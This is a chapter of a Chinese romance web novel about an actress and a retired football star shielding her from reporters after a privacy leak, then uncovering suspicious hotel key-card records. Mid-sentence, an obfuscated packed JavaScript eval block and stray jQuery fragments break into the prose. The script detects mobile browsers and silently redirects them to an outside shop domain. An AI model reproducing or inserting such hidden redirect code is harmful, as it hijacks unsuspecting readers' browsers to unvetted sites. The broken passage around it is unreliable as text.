第二天早上，酒店后门堵了四十七个记者。
Mia数的。
“四十七个。”她从门缝往外看，“十二个拿着正经媒体牌，七个假装自己是正经媒体，剩下的像刚从垃圾桶里长出来。”
Denise正在替瓦伦蒂娜涂睫毛膏。
“别侮辱垃圾桶。”她说，“垃圾桶至少不会把验孕棒卖给小报。”
瓦伦蒂娜坐在高脚椅上，闭着眼。
她昨晚睡了四个小时。
不是睡不着，是手机一直亮。公关群，律师群，品牌群，片方群，医生预约，母亲语音，还有里卡多从她手里抽走手机的那一下。
凌晨两点，她还靠在床头看舆情表。
里卡多从身后伸手，把手机扣在床头柜上。
“先睡十分钟。”
他的掌心擦过她的手背，很热。
瓦伦蒂娜本来想说十分钟能改变什么，可话到嘴边，又被他身上的气息压回去一点。她一直讨厌自己这一点。很多东西她可以算，可以演，可以忍，可以装作不在意，唯独靠近里卡多这件事，她身体总比脑子先反应。
他们之间就是这样。
有些人需要故事，需要红毯，需要酒精，需要一整个暧昧的夜晚。
她和里卡多不需要。
他只是把她的手机拿走，替她把冰凉的脚踝放进被子里，她就会立刻想起他的手以前怎样扣住她的腰，又怎样在她呼吸乱掉前松开。
他太懂分寸。
但这也不好，这点分寸会让她有点不满足。
“十分钟不能改变什么。”她终于说。
“不能。”里卡多把灯调暗，“但我在你身边的时候，你不应该被他们占用到早上。”
他没有问那根验孕棒。
没有问她是不是害怕。
没有说“我会处理”。
他只是躺回她身边，把她揽进怀里。这个动作已经熟到不需要确认，像关灯，像盖被子，像她半夜醒来时会下意识往他肩口靠过去。
“我在。”他说。
这不是声明。
不是答案。
甚至不是安慰。
只是他们之间最熟悉的一种事实。
早上七点半，Denise进来替她化妆时，里卡多已经坐在外间沙发上。
卧室门半开着。
他的外套搭在椅背上，床头还插着他的手机充电线，茶几上放着给她备好的早餐、温水、胃药。
面孔依旧俊秀，但着实是很大一只，存在感很强。
母亲的语音很短。
“不要穿太浅的粉。今天不适合。”
Denise显然同意。
她给瓦伦蒂娜选了一套阿玛尼的白色西装裙，剪裁干净，腰线没有刻意收，肩膀利落，口红是深一点的玫瑰色。
“如果谁再说怀孕玩偶女王需要男人给体面，”Denise说，“我就用这支口红在他额头上写体面两个字。”
瓦伦蒂娜睁开眼：“你现在很暴力。”
“我一直很暴力。以前只是公司不让我在镜头前说。”
里卡多抬眼看过来。
他换了白衬衫和黑长裤，头发整理过，眼底却还有一点长途飞行后的疲惫。他没有看她的腰腹，也没有看那套衣服会不会显得她柔弱。
他先看她的脸。
“先吃一点再涂口红？”
瓦伦蒂娜看着镜子里的他。
“你现在很像那种会被粉丝剪成‘孕期神仙老公’的人。”
里卡多停了一下。
“那我少说一点，饭还是要吃。”
Denise没忍住笑。
里卡多没有再劝，只把一小盒蜂蜜饼干放到她手边。
“没胃口的话，等会儿垫一下。”
他的手指在盒盖上停了一秒。
很短。
瓦伦蒂娜却看见了。
她也看见自己在镜子里停了一下。她不该在这种时候还对一只手有反应，可她就是有。她喜欢他手背上淡淡的筋络，喜欢他拿奖杯、拿球鞋、拿水杯时那种不费力的稳定，也喜欢他碰她时永远不会急着证明占有。
凯特推门进来，手里拿着更新后的口径。
“十分钟后下楼。我们先从侧门出，记者会挤上来。瓦伦蒂娜，你可以不回应。里卡多，如果被问到，就用昨晚那句。”
Denise抬头：“哪句？”
凯特看了里卡多一眼。
要不怎么说人家被称作圣子呢，确实不一般。那句话其实不是公关团队想出来的，也不是瓦伦蒂娜要求他的，而是他本身就是这样懂得尊重他人，这话也只有他说才让人觉得可信。
`Valentinaspeaksforherself.`
瓦伦蒂娜会替自己说话。
”没问题。“现在，里卡多点头。
Denise眯起眼：“你练一遍。”
里卡多看向她。
“瓦伦蒂娜会替自己说话。”
发音平稳，语气平静。
没有大男人承担一切，没有王子卖深情，也没有那种“我尊重她所以我很高贵”的自恋。
只是事实。
Denise满意了一点。
“行。比好莱坞男演员念台词顺耳得多。”
侧门打开时，闪光灯先扑进来。
保镖挡出一条窄路，记者立刻涌上来，话筒像一排细长的刀。
“瓦伦蒂娜！你是不是怀孕了？”
“你和里卡多已经订婚了吗？”
“你觉得用孩子换奖项值得吗？”
“这是《DOLL》团队安排的宣传吗？”
Mia挡在她左侧，凯特挡在右侧。
瓦伦蒂娜本来可以低头走过去。
她没有。
她停下脚步。
所有话筒瞬间抬高。
“我的医疗隐私被侵犯。”她说，“这一点不会因为你们把问题问得更大声，就变得比较体面。”
记者还想追：“所以你不否认怀孕？”
“我不在酒店后门向你提交身体报告。”
旁边有人笑了一声，很快又憋住。
另一个记者立刻转向里卡多。
“里卡多！你会为瓦伦蒂娜负责吗？”
这一句问出口，周围的声音反而轻了一点。
所有人都想听他怎么答。
曾经的金球先生。
米兰和皇马的名宿。
如今巴西圣保罗重组背后说一不二的名字。
十年前他去奥兰多时，媒体写的是“欧洲金球先生降落美国新市场”，像一个被高薪和阳光接住的漂亮结尾。可退役后的几年，他没有把自己留在纪念赛、颁奖礼和商业晚宴里。
他回到巴西，投进青训，投进基金会，也投进圣保罗那摊一点也不浪漫的旧账里。债务、派系、赞助商、球迷信任，每一件都比眼前红毯的场面难看，也更难处理，但他都一一理顺了。
记者当然敢问他八卦。
但他们也知道，眼前这个男人从来不是一条他们可以随便修剪的绯闻线。
里卡多停下脚步。
他没有站到瓦伦蒂娜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17616820|206099||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
前面。
也没有伸手揽她的腰。
他只是侧过身，替她挡开快碰到肩膀的话筒。
“瓦伦蒂娜会替自己说话。”他说。
记者不肯放过：“那孩子是你的吗？你是否支持她继续冲击奥斯卡？”
里卡多看着他。
那一眼很平静。
平静得像他不是站在酒店后门，而是站在董事会长桌尽头，听见一个人提出了不值得被采纳的方案。
“她的私人生活不属于你。”他说，“她的工作，也不需要由我批准。”
闪光灯停了一瞬。
不是因为记者被感动，没有这种义务。
是因为说话人是里卡多，他们确实要考虑一些后果，那问点温和的。
“所以你确认你们关系稳定？”
“你是否提前知道？”
“你是不是会出席接下来的宣传？”
里卡多没有再答。
他只替瓦伦蒂娜挡开一只几乎怼到她肩膀上的话筒。
动作很轻。
不抢镜。
却刚好让她往前走的路空出来。
瓦伦蒂娜抬眼看他。
“说得不错。”
“乐意为女王效劳。”
“别太骄傲。”
“我尽量。”
他们走进车里时，外面的记者还在喊。
车门合上，世界终于安静下来。
Mia把手机递给凯特：“爆了。‘瓦伦蒂娜会替自己说话’已经上趋势。”
Denise靠在座椅上：“不错，比‘金球先生英雄救美’好听一万倍。”
瓦伦蒂娜低头看屏幕。
视频里，里卡多只说了那一句。
没有多一个眼神给镜头。
没有表演占有。
也没有把她变成他的责任。
她看着视频里那个站在她身侧半步的男人，忽然觉得自己这些年眼光确实不错。
凯特的电话在这时响了。
她接起来，只听了几秒，脸色变了。
“发过来。”
车里安静下来。
一分钟后，塞琳娜把第一版门禁记录传到群里。
凯特点开。
瓦伦蒂娜看见一行时间。
下午六点零九分，E.Vale临时工作卡刷开套房门。
下午六点十四分，离开。
下面还有一行。
下午六点二十三分，同一张E.Vale权限，第二次刷开套房门。
Mia骂了一句。
Denise坐直。
瓦伦蒂娜看着那个名字。
E.Vale。
艾琳。
她慢慢把手机扣在掌心。
“不对。”Mia忽然说。
车里所有人看向她。
“六点二十三分，她在我身后。”Mia脸色沉下来，“我让她站在采访板边上，拿你的平板和备用口红。”
凯特立刻翻昨天她确认过才发布的视频素材。
六点二十三分，瓦伦蒂娜正站在采访区。
镜头边缘，Mia身后，一个抱着平板的年轻女孩低着头，脸色很白。
是艾琳。
她站在那里。
可同一分钟，她名下的权限刷开了瓦伦蒂娜的套房。
车里安静下来。
瓦伦蒂娜看着那一帧模糊的画面，忽然笑了一下。
“回酒店。”
她说。
“我们得去问问，她的卡为什么能又进了一次我的房间。”